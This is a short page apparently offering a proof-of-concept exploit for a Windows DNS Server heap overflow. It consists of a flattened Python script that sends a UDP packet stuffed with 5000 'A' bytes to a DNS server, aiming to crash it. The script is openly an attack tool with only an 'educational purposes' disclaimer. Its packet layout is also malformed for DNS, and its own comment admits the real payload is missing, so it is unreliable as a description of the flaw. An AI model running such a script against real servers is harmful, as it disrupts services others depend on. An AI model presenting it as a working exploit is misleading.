CVE-2026-41096 Windows DNS堆缓冲区溢出漏洞

import socket import struct # CVE-2026-41096 PoC Concept # Target: Microsoft Windows DNS Server # Description: Send a crafted DNS packet to trigger heap overflow. # Note: This is for educational purposes only. target_ip = "192.168.1.100" target_port = 53 # Construct a DNS header (Transaction ID: 0x1337) dns_header = struct.pack("!HHHHHH", 0x1337, 0x0100, 1, 0, 0, 0) # Construct a malicious query (Overlong buffer) # In a real scenario, specific payload structure is needed to hit the vulnerable code path exploit_payload = b"A" * 5000 # Buffer overflow trigger size query_body = struct.pack("!H", len(exploit_payload)) + exploit_payload + struct.pack("!H", 1) + struct.pack("!H", 1) payload = dns_header + query_body try: print(f"[*] Sending exploit packet to {target_ip}...") s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.sendto(payload, (target_ip, target_port)) print("[+] Packet sent. Check target status.") s.close() except Exception as e: print(f"[-] Error: {e}")